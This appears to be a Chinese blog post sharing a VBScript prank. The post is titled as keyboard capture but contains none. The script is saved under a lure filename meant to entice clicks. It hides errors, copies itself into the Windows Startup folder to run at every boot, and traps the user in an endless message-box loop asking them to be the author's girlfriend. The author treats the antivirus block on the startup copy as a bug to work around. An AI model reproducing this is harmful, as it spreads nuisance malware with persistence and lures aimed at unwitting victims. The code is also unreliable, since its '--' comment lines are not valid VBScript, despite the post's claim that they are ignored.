vbscript 脚本编程 捕获键盘（vbscript 脚本编程 crt）

VBScript脚本文件后缀名为.vbs ，这是基于windowsWSH脚本宿主运行的明码程序，不区分字母大小写，但对编码敏感。标点符号一定不能用中文全角（字符串类型除外）

废话不多说，直接上代码。

位置d:\vbs\小姐姐点开.vbs

代码:

--文件類型vbs

--運行平台Windows Wscript.exe

--文件實例set fso=createobject("scripting.filesystemobject")

--行數：代碼12行

--注意！文件名不可以為main.vbs，會產生二義性

on error resume next

set fso=createobject("scripting.filesystemobject")

dim a,b

--設置自啟動

if fso.fileexists("main.vbs")=false then fso.getfile(wscript.scriptfullname).copy("C:\Documents and Settings\All Users\「开始」菜单\程序\启动\main.vbs")

--主代碼

do while a<>1

a=msgbox (b & "你做我女朋友吧！",vbokcancel)

if a=1 then

msgbox "謝謝"

else

b="關不掉的，"

end if

loop

参数说明:

(1) -- 文档注解,会被解释器自动忽略,建议整复制。

(2) on error resume next 错误处理代码，如果 *** 在它以下，代码会全部忽略，程序直接退出。建议调试过程中把它注解掉

(3) 自启动的原理是将自身复制到windows启动目录

(4) a=msgbox (b & "你做我女朋友吧！",vbokcancel) 将vbokcancel返回值赋给a，a的参数为1-2

目前有一个bug，添加自启动的时候会被杀毒软件拦截，导致程序无法正常运行。如果成功添加自启动每次开机的时候重新运行一次

参考资料:VBScript程序员参考手册第三版.pdf链接https://pan.baidu.com/s/1ay5wrMnJE58Je_WdE119yA